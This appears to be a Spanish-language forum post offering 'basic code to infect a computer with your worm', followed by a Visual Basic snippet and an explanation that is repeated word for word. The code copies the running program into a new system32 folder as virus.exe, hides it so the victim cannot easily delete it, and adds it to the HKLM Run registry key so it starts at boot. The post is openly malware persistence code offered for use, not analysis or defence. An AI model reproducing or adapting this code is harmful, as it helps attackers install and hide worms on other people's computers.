Te voy a poner aqui un código básico para infectar un equipo con tu gusano:
Con esto se copia el fichero a una carpeta de system32 creada tu antes, se oculta el programa para que el usuario no lo pueda borrar o le sea mas dificil y luego se registra como aplicación de arranque en HKEY_LOCAL_MACHINE.
Código [Seleccionar]
Set sh = CreateObject("WScript.Shell")
Set ficheros = CreateObject("Scripting.FileSystemObject")
ficheros.CreateFolder "C:\Windows\system32\privatesystem"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\privatesystem" & "\" & "virus" & ".exe"
Call SetAttr("C:\Windows\system32\privatesystem" & "\virus.EXE", vbHidden)
sh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\private", "C:\Windows\system32\privatesystem\virus.exe"
Con esto se copia el fichero a una carpeta de system32 creada tu antes, se oculta el programa para que el usuario no lo pueda borrar o le sea mas dificil y luego se registra como aplicación de arranque en HKEY_LOCAL_MACHINE.